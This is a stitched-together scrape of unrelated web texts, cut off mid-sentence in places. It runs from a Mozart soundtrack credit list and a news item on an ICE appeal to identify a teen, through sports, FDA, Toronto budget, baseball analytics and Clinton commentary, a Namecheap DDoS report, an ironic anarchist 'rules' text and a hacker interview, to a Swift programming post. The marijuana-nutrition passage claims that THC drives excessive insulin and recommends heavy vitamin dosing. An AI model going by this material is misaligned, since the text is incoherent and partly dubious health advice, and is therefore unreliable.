2017 Ôtez-moi d'un doute (music: "Die Zauberflöte" (La Flûte enchantée) K 620)
(music: "Die Zauberflöte" (La Flûte enchantée) K 620)
2017 Imposters (TV Series) (writer - 1 episode)
Frog-Bikini-Eiffel Tower (2017)... (writer: "Cosi Fan Tutte, K. 588: Una donna a quindici anni") (TV Series) (writer - 1 episode)
2017 The Marvelous Mrs. Maisel (TV Series) (writer: "Symphony No. 34 In C Major, K. 338 and K. 409 II. Andante Di Molto" - uncredited)
(TV Series) (writer: "Symphony No. 34 In C Major, K. 338 and K. 409 II. Andante Di Molto" - uncredited)
2017 Ghost in the Shell (writer: "Piano Concerto 20")
(writer: "Piano Concerto 20")
2017 Blood Redd (writer: "Turkish March" - as Mozart)
(writer: "Turkish March" - as Mozart)
2017 The Zookeeper's Wife (writer: "Piano Sonata No. 18 in D, 2nd Movement")
(writer: "Piano Sonata No. 18 in D, 2nd Movement")
201 |
or infection.
Image via Faiz Zaki/Shutterstock.Who is the boy in the basement? Federal agents appeal for help in identifying mystery teen 'in serious danger' in chilling video n
'Extraordinary' plea to find boy in online video wearing Minnesota Twins T--shirt
Homeland Security officials say he is in serious danger'
But officials refuse to release further details about mystery boy seen in basement
Federal agents have launched an 'extraordinary' appeal for the public's help in identifying a mystery teenage boy who appears in an online video - and who they believe is in serious danger.
The Immigration and Customs Enforcement's Homeland Security Investigations unit has released two stills from the video and say the boy - between 13 and 19 - is in a 'dangerous environment' with several other children and at least one adult.
But the agents remain tight-lipped on the exact circumstances of the boy - refusing to say whether he has been kidnapped, is the victim of a human trafficking ring or is at risk from paedophiles.
Similarities: The appeal by federal agents has echoes of an earlier hunt for a mystery boy pictured in this still released by the Immigration and Customs Enforcement's Homeland Security Investigations unit
In the pictures, the teen is appears to be in a basement and aged between 13 and 19.
He is wearing a Minnesota Twins baseball T-shirt. This is one of the few leads the agency has.
ICE believes that the recording was made within the last 18 months or two years, based on the design of the boy's T-shirt.
The logo was first marketed by the baseball team in July 2010 but appears to be faded.
In danger: It is thought that an adult might be involved and officials expect state-level charges to be filed in connection with the case
'We have reason to believe that this person may now live, or may have lived at one time, in either Minnesota or western Wisconsin,' ICE spokesman Shawn Neudauer told CNN.
'It is entirely possible this young man is not currently in Minnesota or Wisconsin, but has either a friend or relative in the area, or recently moved from one of those states,' he said.
It looks like he may be talking to another person - possibly an older person - off camera.
'We believe there's an adult involved in all of this,' said Mr Neudauer.
It is thought that the teen is particularly at risk because he is unable to ask for help from the police.
'If we can identify the young person involved, we suspect that we'll be able to remove a couple of young people from a dangerous environment and also, perhaps, identify an adult.'
It is not usual for ICE to issue a public appeal but they hope that the public will be able to identify the boy and help him if he is at risk.
'Issuing a public plea is an extraordinary step by ICE's Homeland Security Investigations, warranted by our belief that there may be young people at risk without the ability to ask for law enforcement's help,' he said.
The agency is not releasing any more details of the case in order to protect the child involved.
The desperate search for the boy's identity was stalled this week due to the mass media attention of the floods in southern Minnesota, but Mr Neudauer told MailOnline that a number of leads had come forward since Thursday.
However, he stresses that more information is needed so if anyone recognises the boy, they should contact the department immediately.Now a two-time champion, Shaun Livingston has capped off a third season with the Golden State Warriors. Like Andre Iguodala, he’s become a reliable and steady presence off the bench and a key part of the Warriors’ championship formula. He has always been an effective player and the 2016-2017 season was no exception.
Despite playing on a team known for the three-ball, Livingston essentially refuses to shoot three-pointers. In fact, his lone made three this past season was a “botched” lob. At the end of the season, 99.1% of his made field goals were two-pointers and more than half of those were in the 10 to 16 foot range.
Clearly a master of the mid-range, Livingston actually managed to shoot a career high field goal percentage of.547 last season. On top of that, he shot a playoff career high of.567.
Livingston is an anomaly among the league’s point guards. Standing at 6 feet 7 inches, the whip-skinny point guard is more at home with his back to the basket than he is jacking up shots around the perimeter. But with a sure and steady handle, he can be trusted to bring the ball up the floor and run the offense.
Livingston’s offensive repertoire consists of two main components. When playing off the ball, he roams the baseline, cutting into the lane for wide-open dunks and lay-ups off interior passes from his teammates. But when he’s creating for himself, Livingston prefers to back down smaller guards and unleash a near-unblockable turnaround jumper. Both of these scenarios often place opposing point guards in an uncomfortable and unfamiliar position.
His unorthodox game was on display during the Warriors’ playoff run.
Defensively, he brings his height to the table, allowing Steve Kerr to play length lineups. The lineup that Livingston was featured in the most during the 2016-2017 regular season put the long-limbed point guard alongside Iguodala, Kevin Durant, Klay Thompson and David West. This gangly line-up essentially allowed for a switch-everything defensive scheme that swallowed teams up in key moments.
In fact, there were several games last season where the veterans -- Livingston, Iguodala, and West -- were responsible for getting the Warriors engaged when the starters were under-performing.
Speculation as to whether Livingston would return ended quickly as the Warriors signed him to a three year, $24 million contract soon before re-signing Iguodala. With West also on board, the Warriors will have a solid veteran bench presence to help in the development of younger Warriors.
Livingston plays limited minutes in order to keep him fresh and it remains to be seen how the next few years will go as he gets older. But considering his incredibly high basketball IQ and the fact that his game isn’t based on any extreme athleticism, he should age well and continue to be an effective bench player for the next few years.There is a close relationship between bad diet and bad health, and anyone using marijuana on a regular basis ought to pay attention to what food he or she eats (especially in the light of our recent knowledge concerning the relationship of THC to excessive insulin production). If you're a smoker, the problem you have to face is that even if you are not born with low blood sugar, you can alter your own metabolism over a period of time by responding in a dramatic way to this THC-related craving for sugar. In a study by Professor Robert Heath of Tulane University Medical School, rhesus monkeys were given THC, and it was noticed that they changed their eating patterns. They showed a marked preference for foods which could quickly be converted into sugar.
Studies with humans have also revealed some interesting facts. It seems that the vitamin-B complex family can play a major role in treating people who suffer from low blood sugar, which leads me to suggest that pot users should fortify their diet with substantial amounts of all the B vitamins. It has also been shown that the condition of low blood sugar is reversible by means of a planned diet, supplemented with larger-than-usual amounts of vitamins and minerals, especially vitamin C, which can also be depleted by the action of THC on the metabolism. The diet should consist of a lot of protein and the absolute minimum of refined carbohydrates and, of course, sugar. Meals should be taken at frequent intervals, if also in perhaps smaller portions, in order to let the body manufacture glucose at a steady pace.
A high-protein diet supplemented with large amounts of vitamins is the best way a smoker can stay in control of his or her nutrition and physical-mental needs. Obviously some abstinence is required in the matter of not responding to the munchies, but good planning could help alleviate the sugar urges and, if one perseveres, this kind of sugar deprivation will force the body to convert fat into glucose and will help normalize the blood-sugar metabolism. I should also add that it is unwise to substitute artificially sweetened foods in place of sugar. The goal is to retrain the taste buds so that one no longer responds to a craving for something sweet, because in the long run, you may run the risk of altering the insulin balance of your body.There's a "demotivational" poster that reads, "Mistakes: It could be that the purpose of your life is only to serve as a warning to others."
That seems to be the takeaway for the FDA, which just quietly changed its rules to approve certain drugs faster. The agency made this change (so they claim) to combat companies like Turing Pharmaceuticals, which became a public enemy number one overnight when it hiked the price of one drug from $13.50 per pill to $750. Turing's then-CEO Martin Shkreli was called " evil", " opportunistic", and " capitalist" when he raised the price of Daraprim, which is often prescribed to HIV/AIDS patients, pregnant women, and babies.
Granted, Shkreli is pretty much a terrible person, and not representative of most of the people in pharma; he's bad at business and likely very high on most people's Worst Person of the Year awards. Most people wouldn't want to do business with him, if only so they wouldn't have to look at his smug smirk. Those personality traits aren't something that the FDA should need to change their procedures to cure.
So, is there possibly another reason? Or is the FDA worried that a Trump Presidency will spawn a million new Martin Shkrelis?
Maybe, and more likely, the FDA is attempting to fix its own organizational problems while hiding behind the story of a cartoonish business villain.
Unlike the normal pharma-demagoguery that "patents cause high drug prices," Daraprim is a 62-year-old drug whose patents had run out a long time ago. The only hurdle left was the FDA. In order to bring a drug to market, the manufacturer needs to not only find out what's in the drug and how to produce it, but they also to go through the FDA's onerous approval process.
The FDA has two review levels, Standard and Priority. Standard reviews have a "goal" of being finished in 10 months. Priority reviews, the FDA's version of the 4 four-minute mile, have a "goal" of six months. That means that if everything goes completely right, then after a generic pharmaceutical company has 1) identified a market opportunity, 2) figured out the recipe and 3) the manufacturing process, the company now 4) has to sit on its hands and investment for six to ten months.
In Martin Shkreli's case, any entrepreneurial manufacturer that identified the new market that the ridiculous 5000 percent price increase of Daraprim created would have to sit on their business move while Turing Pharmaceuticals raked in the money while also putting people's lives at risk. That is to say, the FDA was preventing competition that would force a lower price.
Worse, any potential competing pharmaceutical companies would know that when they finally did get to the end of the 10 month FDA slog that Shkreli and his smirk would be sitting there at the end ready to drop the price back down since they already had the distribution channels figured out. Therefore, the FDA's quiet change was to move orphan drugs into the "Priority" review process instead of the "Standard" review process.
The long lag times between opportunities and distribution – in the Shkreli case the 10 months to get an off-patent, orphan-drug to market – causes companies to make decisions that are bad for business.. A broken down government-approval system is the biggest problem standing between patients and a functional market providing drugs at an affordable price.
Despite the use of the Shkreli cover story to make its move, the FDA is at least moving in the right direction by attempting to approve drugs faster.). However, six months is still a long time and represents a big investment of waiting time – time when people could be receiving affordable, lifesaving treatment.
The real question that we should all be asking of the FDA is why, if it can make this change on its own, had it not made the change previously? How many drugs could the FDA be approving faster? Or, as pointed out by the Journal of American Physicians and Surgeons back in 2010, is this just how the FDA operates?
For all of the vitriol that was rightfully aimed at the Martin Shkreli, the FDA is culpable as well.
Charles Sauer is president of the Market Institute.If any of your favorite sites don’t seem to be working right now, don’t panic — it’s not just you.
Namecheap, the host of some 3 million-plus domains, is reporting that they’re currently undergoing a Distributed Denial Of Service attack of unknown origins.
If that sounds like a bunch of mumbo-jumbo to you, here’s all you need to know: a Distributed Denial Of Service (or DDoS) attack is, generally, when an attacker floods its target with so much traffic that it’s unable to respond to legitimate requests. Namecheap, a company that helps make it so that you can type URLs (like WhateverWebsiteHere.com) instead of IPs (like 192.168.0.1), is currently facing an attack like this, making it quite hard for them to do their job.
The attackers appear to be focusing on some of Namecheap’s primary DNS servers. As a result, many domains that are hosted on Namecheap will be unable to resolve, and other features that rely on their nameservers (like email) might not work.
The company is actively battling the attack, and are hoping that they’ll have everything locked down within the next hour or so. In the meantime: if your domain is hosted on Namecheap and is having difficulties resolving, Namecheap recommends temporarily switching it to their backup DNS system. Update: Namecheap tells us that the situation now seems to be under control. See their full response to this attack below.
Namecheap gained many a fan back in 2011, when the company launched a campaign called Move Your Domain Day in response to competitor GoDaddy’s then-support of the controversial Stop Online Piracy Act. This, along with many other pressures, eventually lead GoDaddy to recanting their support for the bill.
Update:
Here’s the official response and breakdown of the attack from Namecheap CEO Richard Kirkendall and VP Matt Russell:English translation of an ironic text sympathetic to the views of the Imaginary Party.
The Great Game of Civil War
Rule 1. Until the new order, all your rights are suspended. Naturally, it is good that you conserve the illusion that you still have them. Also, we will only violate them one by one, and case by case.
Rule 2. Be polite: no longer speak to us of laws, of the Constitution, and all these elucubrations of another age. For some time, as you will note, we have made laws that place us above the law, as with the rest of this so-called Constitution.
Rule 3. You are weak, isolated, dazed, abused. We are numerous, strong, and enlightened. Some say that we are a mafia. This is false, we are THE mafia that has vanquished all the others. We alone are capable of protecting you from the chaos of the world. And that’s why it pleases us to penetrate you with the sentiment of your weakness, of your “insecurity”. Because this is in proportion to the profitability of our racket.
Rule 4. The game for you consists of flight, or at least to attempt to flee. By flight, we mean: to surpass your state of dependence. For now, it is quite true, you depend on us in all the aspects of your life. You eat what we produce, you breathe what we pollute, you are at our mercy down to the smallest point, and above all you can do nothing against the sovereignty of our police, to whom we have conferred total latitude, in terms of action as well as appreciation.
Rule 5. You will not be able to flee alone. Thus, you will have to commence by constituting the necessary solidarities. To make the game more difficult, we have achieved the liquidation of all forms of autonomous sociality. We have only let work survive: sociality under control. It’s this that you must flee, by theft, friendship, sabotage, and self-organization. Oh, one clarification: all the means of flight we have made crimes.
Rule 6. We never stop repeating: criminals are our enemies. But by that you must first understand this: that our enemies are criminals. In so much as potential deserters, each one among you is also a potential criminal. That’s why it is good that we conserve the list of numbers that you have called on your phone, that your cell phones allow us to locate you at any moment, and your credit card helps us to thoroughly know your habits.
Rule 7. In our little game, those who leave their isolation are called “criminals”. In regards to those who have the gall to contest this statute, we will call them “terrorists”. The latter can be killed at any moment.
Rule 8. We are well aware that life in the ranks of our society contains about as much joy as a trip on the suburban train system; that up until now capitalism has produced, in spite of its richness, only a universal desolation; that our moth-eaten order has no other arguments than the rubber bullets that protect it. But what do you want: it is thus! We have disarmed you mentally and physically; and we maintain the monopoly of all that we have denied to you: violence, complicity and invisibility. Frankly, if you were in our position, would you do anything else?
Rule 9. You will know prison.
Rule 10. There are no more rules. All attacks are permitted.Toronto Mayor John Tory found himself under attack on a most unexpected front Thursday: on financial management, and from the left.
The former corporate CEO — who won office by promising a business-like approach at city hall — had won early left-wing praise this week for his first budget, which spends $75-million in new money on things like transit and shelters without raising property taxes beyond the rate of inflation.
But on Thursday, several member of council’s left-wing caucus attacked where they could: On the $200-million line of credit that the provincial government offered the city in lieu of Mr. Tory’s hoped-for cash bailout.
“With Mayor Ford all the budgets brought to council were balanced. I didn’t agree with them, but they were balanced,” said Councillor Gord Perks, who called the Tory approach “risky,” and likened it to a homeowner using a line of credit to pay off a mortgage.
“This is not a smart move … By relying on a loan instead of fixing the problem either with increased taxes or decreased services, what this means is we’re going to have to suffer through this punch every year.”
Councillor Janet Davis, another leftist, suggested an extra 3% property tax hike could fill the gap, but admitted there may not be an appetite for that at city council.
“I’m waiting to see what this plan B is. If it’s going to include cuts, or service reductions, I know that I will not be happy with that and many councillors won’t,” she said.
Mr. Tory defended the loan, and assured Torontonians they can trust his fiscal judgment.
“I believe it is entirely financially responsible to take a relatively small, in fact a tiny portion of the budget, and end up having that as a loan for this year,” said Mr. Tory on Thursday. “It allows us to have a balanced budget and it allows us to go ahead with these investments, which I think are urgent.”
The predicament can be traced back to a decision by the provincial Liberals to gradually pull funding that the city used for housing. In 2015, that means a loss of $86-million in a $9.9-billion budget.
Officials in both the mayor’s office and the city manager’s have been working for weeks with provincial counterparts, hoping to convince them to reinstate the funding. The argument has long been that Toronto, a large cosmopolitan city, has a concentration of issues around housing and poverty that other municipalities in the province simply do not face.
The Ontario government, never keen to be seen to favour Toronto, instead offered a line of credit, secured against property and with interest. Sources indicate that may still result in a $25-million hole this year because of interest and principal payments.
City manager Joe Pennachetti said the city has been given a provincial loan before, although he conceded the arrangement is not ideal. John Campbell, vice chair of the budget committee, called the loan “insulting” because of the city’s special needs. “Toronto is different,” agreed Mr. Tory.
From the right on Thursday, Councillor Rob Ford, meanwhile, criticized rising user fees, particularly around garbage rates. He pointed to the extra revenue collected last year from the land transfer tax as a simple way to plug the budget (although this, too, would be one-time funding which he had always argued against using as mayor).
Deputy Mayor Denzil Minnan-Wong noted what he called the “unholy alliance” between NDP stalwarts at city hall and the right-wing former mayor.
“I think the budget committee has got some real challenges ahead of it and it remains to be seen what they’re going to recommend to council,” said Mr. Minnan-Wong.
Mr. Tory said the city will “aggressively” look for the money in the budget to make up the difference.
National PostThe Blue Jays bought, the Tigers sold and the Mets couldn’t make up their mind. Baseball’s trade deadline, which passed last Friday afternoon, is all about balancing the present against the future. Whether they’re buyers or sellers (or just renters), all deadline-dealers have to evaluate both their World Series chances for the current season and where they will be in the “success cycle” going forward. Blunders in either type of assessment can haunt a franchise for years.
It’s a lot to deal with, and not every team manages the process perfectly. To help model these deadline decisions, we developed a metric we’ve nicknamed the “Doyle Number.” It’s named after the infamous 1987 trade in which the Detroit Tigers sent future Hall of Famer John Smoltz, then a 20-year-old prospect, to the Atlanta Braves for 36-year-old Doyle Alexander.
In principle, the definition of the Doyle Number is simple. It represents the rate at which, at the trade deadline, teams should be willing to trade talent in the future for talent in the current season in order to maximize the total number of World Series that it wins. For instance, if a team has a Doyle Number of 2, that means buying a win’s worth of talent in the current season at the trade deadline is worth giving up two wins in the future. By contrast, a team with a Doyle Number of 0.25 should only be willing to give up one-quarter of a future win for a win now. Not only should such a team not buy wins at that price — it should probably sell veteran talent at the deadline instead, in exchange for prospects.
The Doyle Number is calculated based on a team’s estimated “true talent,” a concept that’s equivalent to its projected winning percentage for the rest of the year, as of the trade deadline. The Doyle also includes the team’s odds of making the divisional playoff round. In practice, the calculation gets slightly involved, so we’ve reserved most of the methodological discussion for the footnotes.
But it’s important to pay attention to that two-word phrase we used above: “World Series.” In Doyle, it’s all about the rings! A lot of previous analyses, including some that we’ve published ourselves, have focused on a team’s chance of making the playoffs. If that’s your main goal, you’ll eventually encounter diminishing returns: A team with 100-win talent as of the trade deadline is all but certain to make the playoffs, for instance, so adding more talent won’t accomplish very much.
Winning a championship is another matter, however. It’s hard for any team to win the World Series, but it’s much harder for a team, like the 2005 San Diego Padres, that sneaks into the playoffs with a league-average roster. Just as in the NCAA basketball tournament, relatively modest talent differentials can compound over several playoff rounds. A team with 80-win talent has only about a 5 percent chance of winning the World Series, conditional on making the divisional playoffs; a team with 90-win talent has a 12 percent chance. A team with 100-win talent has a 24 percent chance.
One of the biggest lessons of Doyle, in fact, is that adding the talent to win once you’re in the playoffs is probably more important than picking up enough talent to merely get there. The point at which adding an extra win of talent stops accelerating a playoff team’s World Series odds upward is about 118 wins — a level of true talent reserved for the best All-Star teams ever. Realistically, you can never add too much talent if you’re gearing up to win a World Series.
But let’s see how this plays out in practice. Below, we’ve listed the Doyle Number for the 30 major league teams as of the trade deadline last week.
The highest Doyle Number (2.07) belongs to the St. Louis Cardinals, who are probably the best team in baseball, with more than 96 wins of talent and a 21 percent likelihood of winning the World Series. Even though St. Louis already had a completely stacked roster and a very high likelihood of making the division series without any trades, the increase in championship probability upon entering the MLB postseason would have made even a lopsided long-term trade worth it. The Cardinals should have been prepared to give away as many as two wins of future talent to get one win at the trade deadline.
That the Cardinals (and the Los Angeles Dodgers and Washington Nationals) top the Doyle rankings runs a bit counter to the conventional wisdom, which says that less-talented teams have the most to gain from a big splash at the trade deadline. However, as long as a team’s Doyle Number is above 1, they’d be better off buying than selling. That’s why Doyle also would have recommended a classic buyer’s mentality for the Kansas City Royals, New York Yankees and Houston Astros — three teams that have found themselves in the midst of far better seasons than would be expected from their talent. This suggests the Royals were right to go for broke in the short term; for them, each marginal win of talent added in 2015 is worth forsaking about 1.5 wins of future talent.
Of course, while we’ve focused exclusively on trade-deadline buyers thus far, other teams had to decide whether they’d be better off selling current assets for future wins. The Philadelphia Phillies, to take an extreme example, have literally no use for extra talent in 2015 because they’re all but eliminated from the playoffs. Therefore, their Doyle Number was 0.00.
The Detroit Tigers had a Doyle Number of just 0.14, which would heavily recommend selling. In fact, the Tigers dealt stars David Price and Yoenis Cespedes at the deadline; it didn’t make manager Brad Ausmus happy, but Doyle was pleased.
Indeed, selling is almost always right for teams on the outer fringes of playoff contention (before the deadline, the Tigers had only about a 7 percent chance of reaching the divisional playoffs). The average team begins the regular season with a 27 percent chance of making the divisional playoffs. If a team’s playoff odds are lower than that as of the trade deadline, it should usually sell.
The in-between cases can be tricky, however. Despite having a talented roster, the Toronto Blue Jays entered the trade deadline with only about a 26 percent chance of making the playoffs. But they probably added the most talent at the deadline of any team in baseball in the form of Price and Troy Tulowitzki, sending numerous prospects packing.
Their Doyle Number of 0.77 is slightly below 1, which might initially suggest that they made the wrong move. In fact, however — and we’ve avoided introducing this complication until now — a team’s Doyle Number varies based on how many wins of talent it might add or subtract. Teams like the Blue Jays actually enter the trade deadline with a ‘U’-shaped curve like the one you see below.
We know this is getting abstract, but it has a really important baseball implication. It means that for a team like Toronto, the worst strategy is standing pat. In terms of maximizing its total number of World Series championships, it should either add talent at the deadline or punt on the season and play for future years. By Doyle’s logic, in fact, teams should be going “all-in,” moving as aggressively as possible in one or the other direction at the deadline. Adding two stars, like the Jays did with Tulo and Price, is better than one. This also applies to the Mets, who, after getting cold feet on Carlos Gomez, eventually did deal for Cespedes. Doyle’s complaint might be that the Mets weren’t aggressive enough: They could have added a Cespedes for the rest of us and a star second baseman too!
The Doyle system admittedly represents a vast simplification compared with all the considerations that could be included in such a model. Future iterations might take into account factors like a team’s financial situation and the quality of its minor-league system, among other things. But it at least offers a broad set of guidelines upon which to judge a front office’s decision-making process.
While Doyle doesn’t vindicate every dubious decision — the Tigers had a 34 percent chance of making the playoffs on the date they traded for Alexander in 1987, which would have made for a close call — it suggests that teams should often be quite aggressive at the deadline. A team needs to be honest with itself about whether its World Series chances are legitimate, but if they are, it might never get a better chance at a championship.Jeff Greenfield is a five-time Emmy-winning network television analyst and author.
When Hillary Clinton began her second run for the White House, it must have seemed that the road ahead would rise up to meet her. This time, there would be no political phenomenon in her way—no younger, more charismatic figure who would strip Clinton of the mantle of “change.” All that stood between her and the nomination were a 74-year old socialist from Vermont and the obscure former governor of a state whose previous best-known politician was Spiro Agnew. Back then, if you had told Clinton’s campaign that she would be outraised by that Vermont socialist, that she would be losing younger Democrats, including young women, by landslide proportions, and that she would be facing a months-long slog through every primary—you would have been accused of smoking some of that now-legal-in-Colorado product.
So what exactly is going on here? Why won’t Bernie Sanders go away? And why does Hillary Clinton’s Bernie problem pose a danger not only to her but to the Democratic Party—even if she does (as it seems highly likely) secure her party’s nomination? Three big reasons: First, Hillary Clinton commands little trust among an electorate that is driven today by mistrust. Second, her public life—the posts she has held, the positions she has adopted (and jettisoned)—define her as a creature of the “establishment” at a time when voters regard the very idea with deep antipathy. And finally, however she wishes it were not so, however much she argues that she represents the future as America’s first prospective female president, Clinton still embodies the past, just as she did in 2008 when she lost to Barack Obama. The combination of those three factors is already playing out in the Democratic primary, where younger voters are turning away from her and embracing a geriatric, white-haired alternative in droves.
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The far more serious issue is whether all these factors will seriously threaten her prospects and those of the Democratic Party in November—even at the hands of Donald Trump.
True, the road ahead is still more or less rising in her direction. Clinton leads her likely opponent, Trump, by a significant margin. He—or indeed any GOP nominee—will come out of the convention with his party bitterly, perhaps hopelessly, divided. A Washington Post-ABC News poll reports that nearly two-thirds of Americans say she has the kind of experience necessary to be president. No wonder betting markets make her a nearly 2-to-1 favorite in November.
But there are other factors that make Hillary Clinton look more vulnerable than venerable, and that should give her party cause to pause. Consider the much-chewed-over finding that nearly six in 10 Americans do not consider Clinton honest and trustworthy. In last Wednesday’s debate, panelist Karen Tumulty cut through Clinton’s first explanation—it’s all that right-wing Fox News noise—to note that these doubts were held by the broader public, and by many in her own party.
“Is there anything in your own actions and the decisions that you yourself have made that would foster this kind of mistrust?” Tumulty asked. Clinton’s answer was a combination of confession, self-analysis and pivot. (“I do take responsibility.... I am not a natural politician, in case you haven't noticed, like my husband or President Obama. So I have a view that I just have to do the best I can, get the results I can, make a difference in people's lives.”)
A look at Clinton’s political career provides a tougher explanation. Those younger voters who doubt her trustworthiness likely have no memory, or even casual acquaintance with, a 25-year history that includes cattle-futures trading, law firm billing records, muddled sniper fire recollections and the countless other charges of widely varying credibility aimed at her. They may even have suspended judgment about whether her e-mail use was a matter of bad judgment or worse.
But when you look at the positions she has taken on some of the most significant public policy questions of her time, you cannot escape noticing one key pattern: She has always embraced the politically popular stand—indeed, she has gone out of her way to reinforce that stand—and she has shifted her ground in a way that perfectly correlates with the shifts in public opinion.
For instance: Many Democrats, including all of the major 2008 presidential candidates save for Barack Obama, stood with President George W. Bush and voted for the authorization to use force against Saddam Hussein. What was different about Clinton, however, was that in her October 2002 speech she said this about Saddam: “He has also given aid, comfort and sanctuary to terrorists, including Al Qaeda members, though there is apparently no evidence of his involvement in the terrible events of Sept. 11, 2001.”
This assertion, in the words of reporters Don Van Natta Jr. and Jeff Gerth, was unsupported by the conclusions of the National Intelligence Estimate “and other secret intelligence reports that were available to senators before the vote.” It made for a more muscular talking point; it just happened not to be true.
Or consider her “evolution” on gay marriage. Back in June 2014, Clinton got very testy with “Fresh Air” host Terry Gross, who kept pushing Clinton to explain why this shift was not a matter of political calculation. She repeatedly asked the former secretary of state whether her opinion on gay marriage had changed, or whether the political dynamics had shifted enough that she could express her opinion.
“I’m just trying to clarify so I can understand …” Gross began.
“No, I don’t think you are trying to clarify,” Clinton snapped back. “I think you’re trying to say I used to be opposed and now I’m in favor and I did it for political reasons, and that’s just flat wrong. So let me just state what I feel like you are implying and repudiate it. I have a strong record, I have a great commitment to this issue.”
Well, here’s what Clinton said on the Senate floor, speaking in opposition to a constitutional amendment that would have forbidden gay marriage, while making very clear where she stood on the issue.
“I believe marriage is not just a bond but a sacred bond between a man and a woman.... So I take umbrage at anyone who might suggest that those of us who worry about amending the Constitution are less committed to the sanctity of marriage, or to the fundamental bedrock principle that it exists between a man and a woman, going back into the mists of history as one of the founding, foundational institutions of history and humanity and civilization.”
Again, plenty of Democrats were on record as opposing gay marriage in 2004—the year that voters in 11 states voted to ban the practice by significant margins. What’s striking about Clinton’s speech is the intensity of the language, the assertion that it is a “bedrock principle.” You might think that a conviction so strongly held would not be subject to “evolution,” much less shifting political winds. Not so, apparently—any more than a trade deal can be the “gold standard” one year and an unacceptable threat to American workers the next; or that a generation of potential “super predators” requires draconian crime laws one decade, while the next demands an end to such laws.
Is this kind of analysis subjecting Clinton to a double-standard? Don’t politicians of all stripes change, “evolve,” calculate? Almost all of them do. (Although in the case of Bernie Sanders, you get the sense that if he were told “the building’s on fire!” he’d explain that was because of inadequate regulation caused by the power of millionaires and billionaires to rig a corrupt system that requires a revolution. Not since Cato the Elder ended every speech on every subject by declaring “Carthage must be destroyed” have we seen such consistency in a politician).
The difference with Clinton, I think, goes back to her acknowledgement that she is “not a natural politician.” If her husband brings to mind Harold Hill, the genial salesman from The Music Man who could make you see those 76 trombones, Hillary Clinton sometimes seems a Matrix of consultants, advisers and speech coaches. It’s almost as if her brain and tongue were on a seven-second delay in which every word is subject to a pre-utterance examination for potential damage. And, just as in other areas of life, from the tennis court to the bedroom, performance anxiety can lead to unhappy results—in Clinton’s case, the sense that she can be too clever by half. (Is it remotely plausible that the Wall Street speaking fees are somehow connected to helping New York in the wake of 9/11?) That is one reason why she seems to pay a much higher price for her policy shifts than other politicians do.
Another aspect of Clinton’s weakness is less an issue of personal liabilities than of a misapprehension on her part of what political space she occupies. One of the most revealing statements of the entire campaign was her response to Sanders’ charge that “Secretary Clinton does represent the establishment. I represent, I hope, ordinary Americans.” “Well, look,” Clinton responded. “I've got to just jump in here because, honestly, Sen |
me:
“I just want to own up to my actions, face them head on and hope for the best. What I really want is to continue being part of this industry. Cybersecurity is something that I enjoy to the fullest even with all the drama that it brings and legal troubles. In return I hope other hackers and hacktivists take inspiration from this example and try to better themselves. Just because you’ve explored parts of the internet and protested about things that were important to you doesn’t mean you should be afraid and constantly paranoid of the people around you.”
GhostShell is a collective, and one that operates all over the world. Despite this, Eugen wants to make it clear “[other members] were never directly involved in the main projects/leaks. 99 percent of them are from me.”
While it’s admirable that Eugen is ready to face the music, the “music” in this case is probably a kicked in door and several years in prison, a fate that he’s well aware of.
He won’t be the first — or the last — hacker to face this fate. In fact, Eugen has already seen several of his friends and acquaintances made examples of by court systems promising to get tough on cyber security.
Several of these acquaintances can only be described as hacking elite, including notorious hackers Sabu, Adrian Lamo and Zeekill, but all were caught after lengthy investigations by law enforcement and intelligence agencies.
Eugen, is a rare breed. He’s going to go down on his own terms, but not before telling the story that he wants to tell.
Read next: Watch 6 bug-sized robots tow a 3,900lb SUVSwift: Type Inference
IDAP Blocked Unblock Follow Following Jan 12, 2017
I have a confession to make. I’m really tired of writing iflets and guards all over the place in my code. There are some really basic problems that I see:
You are struggling with Swift instead of expressing, what needs to be done;
You don’t have a central access point to the casting code;
You are not robust to Swift API changes;
You have to write more code and autocomplete won’t save you$
You don’t use type inference.
First of all, let me introduce the casting function I use:
Yep, that’s just a wrapper above as?. Why is it good? It allows casting to types without considering the preprocessing limitations of Swift, that were created for the mere reason of helping out the devs, that are clueless about the types. A perfect example is an Int?? type (yep, optional wrapped in optional, you didn’t misread it) that we want to cast to Int?. And guess what, compiler won’t let you do that with as?:
Compiler fails with Downcast from ‘Int??’ to ‘Int?’ only unwraps optionals; did you mean to use ‘!’?. This means, that the compiler can do that, but, it thinks it knows better, what the programmer wanted, so it tries to help by stressing, that by unwrapping Int?? into Int? we receive Optional<Int> as the result. Oh thank you so much, Captain Obvious, we couldn’t have guessed it without your valuable help.
So, another solution is to use generic types. You see, from the point of view of Swift itself (if we could have disabled sanity checks for programmers), the type in generic could be any type, including function, optional, array or anything else. And, you guessed it, Int?? as well as Int? are also separate types. Moreover, as? itself could be used for unwrapping (although, the reasons behind why casting could result in unwrapping are behind my understanding and both AST and SIL don’t provide any clues about such a behavior). So, if we take a look at the cast function above, if we wanted to cast and unwrap from Int?? type to Int?, we could just write:
This would print us: Optional(1). If, on the other hand we try to cast Int?? to Int type system would behave as expected and wouldn’t print anything:
However, such a function, although being type inference — enabled and chainable, isn’t particularly useful in terms of the amount of code you have to write. This could be alleviated by using functors, applicative or monads. I can confess, that I’m making my first steps into functional programming, so I’ll cover those types in a later blog posts, after I manage to get a hold of the ideas behind FP and how to mix them with OOP changeable state with the help of a friendly functional community (kudos to all lispers and haskellers, who answer my stupid questions and write free open-source books explaining difficult concepts in a simple manner, you are the best, guys). For now, lets just define those types in simple incorrect manner:
Functor — type, who implements map;
Applicative — type, who implements apply;
Monads — type, who implements flatMap.
So, lets take a real — life problem instead. Suppose we have an Int property and we want to put Any in it, if its value is castable to Int:
We can’t directly assign the Any value into Int property, so we should use either iflet or guard for unwrapping:
The amount of code for the person with objc background, who is used to nil being a valid value, is horrific. Moreover, don’t forget, that you can’t send messages to values wrapped into Optional directly, unlike objc, where it’s a valid operation (unless you send the messages, where the result is a struct). How would our cast function help in that case?
That’s much better and as long, as you remember, that cast returns an Optional, this code is much more expressive. Overall, even if you don’t, the code is still expressive, as long, as you at least remember what a map is (apply a function to a wrapped value, if the value is legitimate). All the types in that case are inferred by compiler without any external guidance, so we can write a simpler more light-weight typesafe code with less verbose syntax.
Still, just imagine writing such casts for each cell type, as in our previous example. The duplication and struggling with the verbose inexpressive syntax is what awaits us. And that’s far from DRY we all try to abide (we do try that, don’t we?). Moreover, there are is another obvious flaw: cast is unchainable, unless you bloat your code.
The result of the above cast + map + assignment is ()? (or Void?, if you are more used to it). This means, that the second map in a row wouldn’t do us any good, as we can’t actually do anything useful with unwrapped ().
